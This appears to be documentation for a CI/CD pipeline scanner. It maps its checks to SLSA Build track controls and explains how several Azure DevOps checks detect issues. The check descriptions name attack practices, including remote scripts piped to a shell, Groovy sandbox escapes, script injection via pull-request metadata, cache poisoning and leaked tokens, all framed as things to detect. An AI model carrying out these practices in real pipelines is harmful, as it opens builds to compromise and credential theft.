SLSA Build Track
- Version: 1.0
- URL: https://slsa.dev/spec/v1.0/
- Source of truth:
pipeline_check/core/standards/data/slsa.py
SLSA (Supply-chain Levels for Software Artifacts) is the framework for measuring how trustworthy a build pipeline's outputs are. The checks below evidence the Build track requirements (L1 -> L3), which are the slice this scanner can reason about from pipeline configuration alone.
Use this page when you need to defend "we ship SLSA L2" / "we're working toward L3" with concrete control evidence rather than narrative. Pair with OpenSSF Scorecard for project-health context and SCM posture for the source-control side of the chain.
At a glance
- Controls in this standard: 7
- Controls evidenced by at least one check: 6 / 7
- Distinct checks evidencing this standard: 191
- Of those, autofixable with
--fix: 64
How to read severity
Every check below ships at a fixed severity level. The scale is the same across providers and standards so a CRITICAL finding in one place means the same thing as a CRITICAL finding anywhere else.
| Level | What it means | Examples |
|---|---|---|
| CRITICAL | Active exploit primitive in the workflow as written. Treat as P0: a default scan path lands an attacker on a secret, an RCE, or production write access without further effort. | Hardcoded credential literal, branch ref pointing at a known-compromised action, signed-into-an-unverified registry. |
| HIGH | Production-impact gap that requires modest attacker effort or a second condition to weaponize. Remediate this sprint; the secondary condition is usually already present in real pipelines. | Action pinned to a floating tag, sensitive permissions on a low-popularity action, mutable container tag in prod. |
| MEDIUM | Significant defense-in-depth gap. Not directly exploitable on its own but disables a control whose absence widens the blast radius of a separate compromise. Backlog with a deadline. | Missing branch protection, container without resource limits, freshly-published dependency consumed before the cooldown window. |
| LOW | Hygiene / hardening issue. Not a vulnerability on its own but raises baseline posture and reduces audit friction. | Missing CI logging retention, SBOM without supplier attribution, ECR repo without scan-on-push. |
| INFO | Degraded-mode signal. The scanner couldn't reach an API or parse a config and surfaces the gap so the operator knows coverage was incomplete. No finding against the workload itself. | CB-000 CodeBuild API access failed, IAM-000 IAM enumeration failed. |
Coverage by control
Click a control ID to jump to the per-control section with the full check list. The severity mix column shows the spread of evidencing checks by severity (Critical / High / Medium / Low / Info).
| Control | Title | Checks | Severity mix |
|---|---|---|---|
Build.L1.Scripted |
Build L1: Build process is fully defined and automated (scripted build) | 0 | — |
Build.L1.Provenance |
Build L1: Provenance describing how the artifact was produced is generated | 29 | 1H · 24M · 4L |
Build.L2.Hosted |
Build L2: Builds run on a hosted build platform (not a developer workstation) | 6 | 6M |
Build.L2.Signed |
Build L2: Provenance is authenticated and cannot be forged by tenants | 24 | 1H · 22M · 1L |
Build.L3.Isolated |
Build L3: Build runs in an isolated environment not influenced by other builds | 87 | 18C · 43H · 25M · 1L |
Build.L3.Ephemeral |
Build L3: Build environment is ephemeral and provisioned fresh for each run | 18 | 14M · 4L |
Build.L3.NonFalsifiable |
Build L3: Provenance cannot be falsified by the build's own tenant | 64 | 14C · 26H · 19M · 5L |
Filter at runtime
Restrict a scan to checks that evidence this standard with --standard slsa:
# All providers, only checks tied to this standard
pipeline_check --standard slsa
# Compose with --pipeline to scope by provider
pipeline_check --pipeline github --standard slsa
# Compose with another standard to widen the lens
pipeline_check --pipeline aws --standard slsa --standard owasp_cicd_top_10
Controls in scope
Build.L1.Scripted: Build L1: Build process is fully defined and automated (scripted build)
The build is fully scripted, no manual steps that produce artifacts. Required to make any further provenance claim meaningful.
No checks in this scanner currently evidence this control. Open an issue if your team would value coverage.
Build.L1.Provenance: Build L1: Provenance describing how the artifact was produced is generated
The build emits a signed statement describing how the artifact was produced (builder, source, parameters).
Evidenced by 29 checks across 13 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Helm, Jenkins, Tekton).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-007 |
SBOM not produced | MEDIUM | Azure DevOps | |
ADO-024 |
No SLSA provenance attestation produced | MEDIUM | Azure DevOps | |
ARGO-010 |
No SBOM generated for build artifacts | MEDIUM | Argo Workflows | |
ARGO-011 |
No SLSA provenance attestation produced | MEDIUM | Argo Workflows | |
BB-007 |
SBOM not produced | MEDIUM | Bitbucket | |
BB-024 |
No SLSA provenance attestation produced | MEDIUM | Bitbucket | |
BK-010 |
No SBOM generated for build artifacts | MEDIUM | Buildkite | |
BK-011 |
No SLSA provenance attestation produced | MEDIUM | Buildkite | |
CC-007 |
SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) | MEDIUM | CircleCI | |
CC-024 |
No SLSA provenance attestation produced | MEDIUM | CircleCI | |
CP-002 |
Artifact store not encrypted with customer-managed KMS key | MEDIUM | AWS | |
DF-016 |
Image lacks OCI provenance labels | LOW | Dockerfile | |
GCB-008 |
No vulnerability scanning step in Cloud Build pipeline | MEDIUM | Cloud Build | |
GCB-009 |
Artifacts not signed (no cosign / sigstore step) | MEDIUM | Cloud Build | |
GCB-015 |
SBOM not produced (no CycloneDX / syft / Trivy-SBOM step) | MEDIUM | Cloud Build | |
GCB-023 |
Step references a user substitution not declared in substitutions: | MEDIUM | Cloud Build | |
GCB-024 |
Build pushes Docker images but top-level images: is empty | LOW | Cloud Build | |
GHA-007 |
SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) | MEDIUM | GitHub Actions | |
GHA-024 |
No SLSA provenance attestation produced | MEDIUM | GitHub Actions | |
GL-007 |
SBOM not produced | MEDIUM | GitLab CI | |
GL-024 |
No SLSA provenance attestation produced | MEDIUM | GitLab CI | |
HELM-001 |
Chart.yaml declares legacy apiVersion: v1 | MEDIUM | Helm | 🔧 fix |
HELM-002 |
Chart.lock missing per-dependency digests | HIGH | Helm | 🔧 fix |
HELM-005 |
Chart maintainers field empty or missing chain-of-custody info | LOW | Helm | |
HELM-006 |
Chart.yaml does not declare a kubeVersion compatibility range | LOW | Helm | |
JF-007 |
SBOM not produced | MEDIUM | Jenkins | |
JF-028 |
No SLSA provenance attestation produced | MEDIUM | Jenkins | |
TKN-010 |
No SBOM generated for build artifacts | MEDIUM | Tekton | |
TKN-011 |
No SLSA provenance attestation produced | MEDIUM | Tekton |
Build.L2.Hosted: Build L2: Builds run on a hosted build platform (not a developer workstation)
Builds run on a managed build platform, not a developer workstation, so build identity and configuration are platform-controlled rather than user-controlled.
Evidenced by 6 checks across 6 providers (Azure DevOps, Bitbucket, CircleCI, GitHub Actions, GitLab CI, Jenkins).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-013 |
Self-hosted pool without explicit ephemeral marker | MEDIUM | Azure DevOps | |
BB-016 |
Self-hosted runner without ephemeral marker | MEDIUM | Bitbucket | |
CC-010 |
Self-hosted runner without ephemeral marker | MEDIUM | CircleCI | |
GHA-012 |
Self-hosted runner without ephemeral marker | MEDIUM | GitHub Actions | |
GL-014 |
Self-managed runner without ephemeral tag | MEDIUM | GitLab CI | |
JF-014 |
Agent label missing ephemeral marker | MEDIUM | Jenkins |
Build.L2.Signed: Build L2: Provenance is authenticated and cannot be forged by tenants
Provenance is cryptographically signed by the build platform; tenants of the platform cannot forge it.
Evidenced by 24 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Jenkins, Tekton).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-006 |
Artifacts not signed | MEDIUM | Azure DevOps | |
ADO-024 |
No SLSA provenance attestation produced | MEDIUM | Azure DevOps | |
ARGO-009 |
Artifacts not signed (no cosign/sigstore step) | MEDIUM | Argo Workflows | |
ARGO-011 |
No SLSA provenance attestation produced | MEDIUM | Argo Workflows | |
BB-006 |
Artifacts not signed | MEDIUM | Bitbucket | |
BB-024 |
No SLSA provenance attestation produced | MEDIUM | Bitbucket | |
BK-009 |
Artifacts not signed (no cosign/sigstore step) | MEDIUM | Buildkite | |
BK-011 |
No SLSA provenance attestation produced | MEDIUM | Buildkite | |
CC-006 |
Artifacts not signed (no cosign/sigstore step) | MEDIUM | CircleCI | |
CC-024 |
No SLSA provenance attestation produced | MEDIUM | CircleCI | |
CP-002 |
Artifact store not encrypted with customer-managed KMS key | MEDIUM | AWS | |
DF-016 |
Image lacks OCI provenance labels | LOW | Dockerfile | |
ECR-002 |
Image tags are mutable | HIGH | AWS | |
GCB-008 |
No vulnerability scanning step in Cloud Build pipeline | MEDIUM | Cloud Build | |
GCB-015 |
SBOM not produced (no CycloneDX / syft / Trivy-SBOM step) | MEDIUM | Cloud Build | |
GCB-023 |
Step references a user substitution not declared in substitutions: | MEDIUM | Cloud Build | |
GHA-006 |
Artifacts not signed (no cosign/sigstore step) | MEDIUM | GitHub Actions | |
GHA-024 |
No SLSA provenance attestation produced | MEDIUM | GitHub Actions | |
GL-006 |
Artifacts not signed | MEDIUM | GitLab CI | |
GL-024 |
No SLSA provenance attestation produced | MEDIUM | GitLab CI | |
JF-006 |
Artifacts not signed | MEDIUM | Jenkins | |
JF-028 |
No SLSA provenance attestation produced | MEDIUM | Jenkins | |
TKN-009 |
Artifacts not signed (no cosign/sigstore step) | MEDIUM | Tekton | |
TKN-011 |
No SLSA provenance attestation produced | MEDIUM | Tekton |
Build.L3.Isolated: Build L3: Build runs in an isolated environment not influenced by other builds
Each build runs in a fresh environment without influence from concurrent or previous builds. No shared mutable state.
Evidenced by 87 checks across 13 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Helm, Jenkins, Tekton).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-002 |
Script injection via attacker-controllable context | HIGH | Azure DevOps | |
ADO-010 |
Cross-pipeline download: ingestion unverified |
CRITICAL | Azure DevOps | |
ADO-011 |
template: <local-path> on PR-validated pipeline |
HIGH | Azure DevOps | |
ADO-012 |
Cache@2 key derives from $(System.PullRequest.*) | MEDIUM | Azure DevOps | |
ADO-016 |
Remote script piped to shell interpreter | HIGH | Azure DevOps | 🔧 fix |
ADO-017 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | Azure DevOps | 🔧 fix |
ADO-019 |
extends: template on PR-validated pipeline points to local path |
CRITICAL | Azure DevOps | |
ADO-021 |
Package install without lockfile enforcement | MEDIUM | Azure DevOps | 🔧 fix |
ADO-023 |
TLS / certificate verification bypass | HIGH | Azure DevOps | 🔧 fix |
ADO-027 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | Azure DevOps | |
ADO-028 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | Azure DevOps | |
ARGO-002 |
Argo template container runs privileged or as root | HIGH | Argo Workflows | |
ARGO-004 |
Argo workflow mounts hostPath or shares host namespaces | CRITICAL | Argo Workflows | |
ARGO-005 |
Argo input parameter interpolated unsafely in script / args | CRITICAL | Argo Workflows | |
ARGO-008 |
Argo script source pipes remote install or disables TLS | HIGH | Argo Workflows | 🔧 fix |
BB-002 |
Script injection via attacker-controllable context | HIGH | Bitbucket | |
BB-010 |
Deploy step ingests pull-request artifact unverified | CRITICAL | Bitbucket | |
BB-012 |
Remote script piped to shell interpreter | HIGH | Bitbucket | 🔧 fix |
BB-013 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | Bitbucket | 🔧 fix |
BB-018 |
Cache key derives from attacker-controllable input | MEDIUM | Bitbucket | |
BB-021 |
Package install without lockfile enforcement | MEDIUM | Bitbucket | 🔧 fix |
BB-023 |
TLS / certificate verification bypass | HIGH | Bitbucket | 🔧 fix |
BB-026 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | Bitbucket | |
BB-027 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | Bitbucket | |
BK-003 |
Untrusted Buildkite variable interpolated in command | HIGH | Buildkite | |
BK-004 |
Remote script piped into shell interpreter | HIGH | Buildkite | 🔧 fix |
BK-005 |
Container started with --privileged or host-bind escalation | HIGH | Buildkite | 🔧 fix |
BK-008 |
TLS verification disabled in step command | MEDIUM | Buildkite | 🔧 fix |
CB-002 |
Privileged mode enabled | HIGH | AWS | |
CB-007 |
CodeBuild webhook has no filter group | MEDIUM | AWS | |
CC-002 |
Script injection via untrusted environment variable | HIGH | CircleCI | |
CC-012 |
Dynamic config via setup: true enables code injection |
MEDIUM | CircleCI | |
CC-014 |
Job missing resource_class declaration |
MEDIUM | CircleCI | |
CC-016 |
Remote script piped to shell interpreter | HIGH | CircleCI | 🔧 fix |
CC-017 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | CircleCI | 🔧 fix |
CC-021 |
Package install without lockfile enforcement | MEDIUM | CircleCI | 🔧 fix |
CC-023 |
TLS / certificate verification bypass | HIGH | CircleCI | 🔧 fix |
CC-025 |
Cache key derives from attacker-controllable input | MEDIUM | CircleCI | |
CC-027 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | CircleCI | |
CC-028 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | CircleCI | |
DF-004 |
RUN executes a remote script via curl-pipe / wget-pipe | HIGH | Dockerfile | |
DF-008 |
RUN invokes docker --privileged or escalates capabilities | HIGH | Dockerfile | |
GCB-014 |
Build logging disabled (options.logging: NONE) | HIGH | Cloud Build | 🔧 fix |
GCB-019 |
Shell entrypoint inlines a user substitution into args | HIGH | Cloud Build | |
GCB-021 |
No private worker pool, build runs on the shared default pool | MEDIUM | Cloud Build | 🔧 fix |
GCB-022 |
options.substitutionOption set to ALLOW_LOOSE | LOW | Cloud Build | 🔧 fix |
GHA-002 |
pull_request_target checks out PR head | CRITICAL | GitHub Actions | 🔧 fix |
GHA-003 |
Script injection via untrusted context | HIGH | GitHub Actions | 🔧 fix |
GHA-009 |
workflow_run downloads upstream artifact unverified | CRITICAL | GitHub Actions | |
GHA-010 |
Local action (./path) on untrusted-trigger workflow | HIGH | GitHub Actions | |
GHA-011 |
Cache key derives from attacker-controllable input | MEDIUM | GitHub Actions | |
GHA-013 |
issue_comment trigger without author guard | HIGH | GitHub Actions | |
GHA-016 |
Remote script piped to shell interpreter | HIGH | GitHub Actions | 🔧 fix |
GHA-017 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | GitHub Actions | 🔧 fix |
GHA-021 |
Package install without lockfile enforcement | MEDIUM | GitHub Actions | 🔧 fix |
GHA-023 |
TLS / certificate verification bypass | HIGH | GitHub Actions | 🔧 fix |
GHA-026 |
Container job disables isolation via options: |
HIGH | GitHub Actions | |
GHA-028 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | GitHub Actions | |
GHA-029 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | GitHub Actions | |
GL-002 |
Script injection via untrusted commit/MR context | HIGH | GitLab CI | |
GL-010 |
Multi-project pipeline ingests upstream artifact unverified | CRITICAL | GitLab CI | |
GL-011 |
include: local file pulled in MR-triggered pipeline | HIGH | GitLab CI | |
GL-012 |
Cache key derives from MR-controlled CI variable | MEDIUM | GitLab CI | |
GL-016 |
Remote script piped to shell interpreter | HIGH | GitLab CI | 🔧 fix |
GL-017 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | GitLab CI | 🔧 fix |
GL-021 |
Package install without lockfile enforcement | MEDIUM | GitLab CI | 🔧 fix |
GL-023 |
TLS / certificate verification bypass | HIGH | GitLab CI | 🔧 fix |
GL-026 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | GitLab CI | |
GL-027 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | GitLab CI | |
HELM-003 |
Chart dependency declared on a non-HTTPS repository | HIGH | Helm | 🔧 fix |
JF-002 |
Script step interpolates attacker-controllable env var | HIGH | Jenkins | |
JF-003 |
Pipeline uses agent any (no executor isolation) |
MEDIUM | Jenkins | |
JF-012 |
load step pulls Groovy from disk without integrity pin |
MEDIUM | Jenkins | |
JF-013 |
copyArtifacts ingests another job's output unverified | CRITICAL | Jenkins | |
JF-016 |
Remote script piped to shell interpreter | HIGH | Jenkins | 🔧 fix |
JF-017 |
Docker run with insecure flags (privileged/host mount) | CRITICAL | Jenkins | 🔧 fix |
JF-019 |
Groovy sandbox escape pattern detected | CRITICAL | Jenkins | |
JF-021 |
Package install without lockfile enforcement | MEDIUM | Jenkins | 🔧 fix |
JF-023 |
TLS / certificate verification bypass | HIGH | Jenkins | 🔧 fix |
JF-030 |
Dangerous shell idiom (eval, sh -c variable, backtick exec) | HIGH | Jenkins | |
JF-031 |
Package install bypasses registry integrity (git / path / tarball source) | MEDIUM | Jenkins | |
PBAC-001 |
CodeBuild project has no VPC configuration | HIGH | AWS | |
PBAC-002 |
CodeBuild service role shared across multiple projects | MEDIUM | AWS | |
TKN-002 |
Tekton step runs privileged or as root | HIGH | Tekton | |
TKN-003 |
Tekton param interpolated unsafely in step script | CRITICAL | Tekton | |
TKN-004 |
Tekton Task mounts hostPath or shares host namespaces | CRITICAL | Tekton | |
TKN-008 |
Tekton step script pipes remote install or disables TLS | HIGH | Tekton | 🔧 fix |
Build.L3.Ephemeral: Build L3: Build environment is ephemeral and provisioned fresh for each run
Build environments are provisioned per run and torn down after, so a compromised build cannot persist into the next.
Evidenced by 18 checks across 11 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins, Tekton).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-013 |
Self-hosted pool without explicit ephemeral marker | MEDIUM | Azure DevOps | |
ADO-015 |
Job has no timeoutInMinutes, unbounded build |
MEDIUM | Azure DevOps | 🔧 fix |
ARGO-007 |
Argo workflow has no activeDeadlineSeconds | LOW | Argo Workflows | |
BB-005 |
Step has no max-time, unbounded build |
MEDIUM | Bitbucket | 🔧 fix |
BB-016 |
Self-hosted runner without ephemeral marker | MEDIUM | Bitbucket | |
BK-006 |
Step has no timeout_in_minutes | LOW | Buildkite | |
CB-004 |
No build timeout configured | LOW | AWS | |
CB-007 |
CodeBuild webhook has no filter group | MEDIUM | AWS | |
CC-010 |
Self-hosted runner without ephemeral marker | MEDIUM | CircleCI | |
CC-015 |
No no_output_timeout configured |
MEDIUM | CircleCI | 🔧 fix |
GCB-021 |
No private worker pool, build runs on the shared default pool | MEDIUM | Cloud Build | 🔧 fix |
GHA-012 |
Self-hosted runner without ephemeral marker | MEDIUM | GitHub Actions | |
GHA-015 |
Job has no timeout-minutes, unbounded build |
MEDIUM | GitHub Actions | 🔧 fix |
GL-014 |
Self-managed runner without ephemeral tag | MEDIUM | GitLab CI | |
GL-015 |
Job has no timeout, unbounded build |
MEDIUM | GitLab CI | 🔧 fix |
JF-014 |
Agent label missing ephemeral marker | MEDIUM | Jenkins | |
JF-015 |
Pipeline has no timeout wrapper, unbounded build |
MEDIUM | Jenkins | 🔧 fix |
TKN-006 |
Tekton run lacks an explicit timeout | LOW | Tekton |
Build.L3.NonFalsifiable: Build L3: Provenance cannot be falsified by the build's own tenant
The build platform's provenance signature is bound to inputs the tenant cannot influence (e.g. a backend-controlled identity), so a tenant-controlled compromise cannot mint forged provenance.
Evidenced by 64 checks across 13 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Helm, Jenkins, Tekton).
| Check | Title | Severity | Provider | Fix |
|---|---|---|---|---|
ADO-001 |
Task reference not pinned to specific version | HIGH | Azure DevOps | 🔧 fix |
ADO-005 |
Container image not pinned to specific version | HIGH | Azure DevOps | |
ADO-008 |
Credential-shaped literal in pipeline body | CRITICAL | Azure DevOps | 🔧 fix |
ADO-009 |
Container image pinned by tag rather than sha256 digest | LOW | Azure DevOps | |
ADO-024 |
No SLSA provenance attestation produced | MEDIUM | Azure DevOps | |
ADO-025 |
Cross-repo template not pinned to commit SHA | HIGH | Azure DevOps | |
ARGO-001 |
Argo template container image not pinned to a digest | HIGH | Argo Workflows | |
ARGO-003 |
Argo workflow uses the default ServiceAccount | MEDIUM | Argo Workflows | |
ARGO-006 |
Literal secret value in Argo template env or parameter default | CRITICAL | Argo Workflows | 🔧 fix |
ARGO-011 |
No SLSA provenance attestation produced | MEDIUM | Argo Workflows | |
BB-001 |
pipe: action not pinned to exact version | HIGH | Bitbucket | 🔧 fix |
BB-008 |
Credential-shaped literal in pipeline body | CRITICAL | Bitbucket | 🔧 fix |
BB-009 |
pipe: pinned by version rather than sha256 digest | LOW | Bitbucket | |
BB-017 |
Repository token written to persistent storage | CRITICAL | Bitbucket | 🔧 fix |
BB-024 |
No SLSA provenance attestation produced | MEDIUM | Bitbucket | |
BK-001 |
Buildkite plugin not pinned to an exact version | HIGH | Buildkite | |
BK-002 |
Literal secret value in pipeline env block | CRITICAL | Buildkite | 🔧 fix |
BK-007 |
Deploy step not gated by a manual block / input | MEDIUM | Buildkite | |
BK-011 |
No SLSA provenance attestation produced | MEDIUM | Buildkite | |
CC-001 |
Orb not pinned to exact semver | HIGH | CircleCI | 🔧 fix |
CC-003 |
Docker image not pinned by digest | HIGH | CircleCI | |
CC-004 |
Secret-like environment variable not managed via context | MEDIUM | CircleCI | |
CC-008 |
Credential-shaped literal in config body | CRITICAL | CircleCI | 🔧 fix |
CC-024 |
No SLSA provenance attestation produced | MEDIUM | CircleCI | |
CP-001 |
No approval action before deploy stages | HIGH | AWS | |
DF-001 |
FROM image not pinned to sha256 digest | HIGH | Dockerfile | 🔧 fix |
DF-003 |
ADD pulls remote URL without integrity verification | HIGH | Dockerfile | |
DF-004 |
RUN executes a remote script via curl-pipe / wget-pipe | HIGH | Dockerfile | |
DF-010 |
apt-get dist-upgrade / upgrade pulls unknown package versions | LOW | Dockerfile | |
ECR-002 |
Image tags are mutable | HIGH | AWS | |
GCB-001 |
Cloud Build step image not pinned by digest | HIGH | Cloud Build | 🔧 fix |
GCB-004 |
dynamicSubstitutions on with user substitutions in step args | HIGH | Cloud Build | |
GCB-007 |
availableSecrets references versions/latest |
MEDIUM | Cloud Build | 🔧 fix |
GCB-015 |
SBOM not produced (no CycloneDX / syft / Trivy-SBOM step) | MEDIUM | Cloud Build | |
GCB-018 |
Legacy KMS secrets block in use (prefer availableSecrets / Secret Manager) | MEDIUM | Cloud Build | |
GCB-025 |
Build has no tags for audit / discoverability | LOW | Cloud Build | |
GHA-001 |
Action not pinned to commit SHA | HIGH | GitHub Actions | 🔧 fix |
GHA-002 |
pull_request_target checks out PR head | CRITICAL | GitHub Actions | 🔧 fix |
GHA-004 |
Workflow has no explicit permissions block | MEDIUM | GitHub Actions | 🔧 fix |
GHA-008 |
Credential-shaped literal in workflow body | CRITICAL | GitHub Actions | 🔧 fix |
GHA-019 |
GITHUB_TOKEN written to persistent storage | CRITICAL | GitHub Actions | 🔧 fix |
GHA-024 |
No SLSA provenance attestation produced | MEDIUM | GitHub Actions | |
GHA-025 |
Reusable workflow not pinned to commit SHA | HIGH | GitHub Actions | |
GL-001 |
Image not pinned to specific version or digest | HIGH | GitLab CI | 🔧 fix |
GL-005 |
include: pulls remote / project without pinned ref | HIGH | GitLab CI | |
GL-008 |
Credential-shaped literal in pipeline body | CRITICAL | GitLab CI | 🔧 fix |
GL-009 |
Image pinned to version tag rather than sha256 digest | LOW | GitLab CI | |
GL-020 |
CI_JOB_TOKEN written to persistent storage | CRITICAL | GitLab CI | 🔧 fix |
GL-024 |
No SLSA provenance attestation produced | MEDIUM | GitLab CI | |
HELM-002 |
Chart.lock missing per-dependency digests | HIGH | Helm | 🔧 fix |
HELM-003 |
Chart dependency declared on a non-HTTPS repository | HIGH | Helm | 🔧 fix |
HELM-004 |
Chart dependency version is a range, not an exact pin | MEDIUM | Helm | |
IAM-001 |
CI/CD role has AdministratorAccess policy attached | CRITICAL | AWS | |
IAM-002 |
CI/CD role has wildcard Action in attached policy | HIGH | AWS | |
IAM-004 |
CI/CD role can PassRole to any role | HIGH | AWS | |
IAM-006 |
Sensitive actions granted with wildcard Resource | MEDIUM | AWS | |
JF-001 |
Shared library not pinned to a tag or commit | HIGH | Jenkins | |
JF-008 |
Credential-shaped literal in pipeline body | CRITICAL | Jenkins | 🔧 fix |
JF-009 |
Agent docker image not pinned to sha256 digest | HIGH | Jenkins | |
JF-028 |
No SLSA provenance attestation produced | MEDIUM | Jenkins | |
TKN-001 |
Tekton step image not pinned to a digest | HIGH | Tekton | |
TKN-005 |
Literal secret value in Tekton step env or param default | CRITICAL | Tekton | 🔧 fix |
TKN-007 |
Tekton run uses the default ServiceAccount | MEDIUM | Tekton | |
TKN-011 |
No SLSA provenance attestation produced | MEDIUM | Tekton |
Check details
Every check that evidences this standard, rendered once with its detection mechanism, recommendation, and any known false-positive modes or real-world incident references. The per-control tables above link to the matching block here.
ADO-001: Task reference not pinned to specific version HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Floating-major task references (@1, @2) can roll forward silently when the task publisher ships a breaking or malicious update. Pass when every task: reference carries a two- or three-segment semver.
Recommendation. Reference tasks by a full semver (DownloadSecureFile@1.2.3) or extension-published-version. Track task updates explicitly via Azure DevOps extension settings rather than letting @1 drift.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: ADO-001 in the Azure DevOps provider.
ADO-002: Script injection via attacker-controllable context HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. $(Build.SourceBranch*), $(Build.SourceVersionMessage), and $(System.PullRequest.*) are populated from SCM event metadata the attacker controls. Inline interpolation into a script body executes crafted content.
Recommendation. Pass these values through an intermediate pipeline variable declared with readonly: true, and reference that variable through an environment variable rather than $(...) macro interpolation. ADO expands $(…) before shell quoting, so inline use is never safe.
Source: ADO-002 in the Azure DevOps provider.
ADO-005: Container image not pinned to specific version HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Container images can be declared at resources.containers[].image or job.container (string or {image:}). Floating / untagged refs let the publisher swap the image contents.
Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag. Avoid :latest and untagged refs.
Source: ADO-005 in the Azure DevOps provider.
ADO-006: Artifacts not signed MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Passes when cosign / sigstore / slsa-* / notation-sign appears anywhere in the pipeline text.
Recommendation. Add a task that runs cosign sign or notation sign, Azure Pipelines' workload identity federation enables keyless signing. Publish the signature to the artifact feed and verify it at deploy time.
Source: ADO-006 in the Azure DevOps provider.
ADO-007: SBOM not produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact.
Recommendation. Add an SBOM step, microsoft/sbom-tool, syft . -o cyclonedx-json, or anchore/sbom-action. Publish the SBOM as a pipeline artifact so downstream consumers can ingest it.
Source: ADO-007 in the Azure DevOps provider.
ADO-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Complements ADO-003 (which looks at variables: keys). ADO-008 scans every string in the pipeline against the cross-provider credential-pattern catalog.
Recommendation. Rotate the exposed credential. Move the value to Azure Key Vault or a secret variable group and reference it via $(SECRET_NAME).
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Source: ADO-008 in the Azure DevOps provider.
ADO-009: Container image pinned by tag rather than sha256 digest LOW
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. ADO-005 fails floating tags at HIGH; ADO-009 is the stricter tier. Even immutable-looking version tags can be repointed by registry operators.
Recommendation. Resolve each image to its current digest and replace the tag with @sha256:<digest>. Schedule regular digest bumps via Renovate or a scheduled pipeline.
Source: ADO-009 in the Azure DevOps provider.
ADO-010: Cross-pipeline download: ingestion unverified CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. resources.pipelines: declares an upstream pipeline; a download: <name> step pulls its artifacts. If the upstream accepts PR validation, the artifact may have been built by PR-controlled code.
Recommendation. Add a verification step before consuming the artifact: cosign verify-attestation, sha256sum -c, or gpg --verify against a manifest the producing pipeline signed.
Source: ADO-010 in the Azure DevOps provider.
ADO-011: template: <local-path> on PR-validated pipeline HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. template: <relative-path> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.
Recommendation. Move the template into a separate, branch-protected repository and reference it via template: foo.yml@<repo-resource> with a pinned ref: on the resource. That way the template content is fixed at PR creation time and can't be modified from the PR branch.
Source: ADO-011 in the Azure DevOps provider.
ADO-012: Cache@2 key derives from $(System.PullRequest.*) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Cache@2 (and older CacheBeta@1) restore by key. A key including PR-controlled variables on PR-validated pipelines lets a PR seed a poisoned cache entry that a later default-branch pipeline restores.
Recommendation. Build the cache key from values the PR can't control: $(Agent.OS), lockfile hashes, the pipeline name. Never reference $(System.PullRequest.*) or $(Build.SourceBranch*) from a cache key namespace.
Source: ADO-012 in the Azure DevOps provider.
ADO-013: Self-hosted pool without explicit ephemeral marker MEDIUM
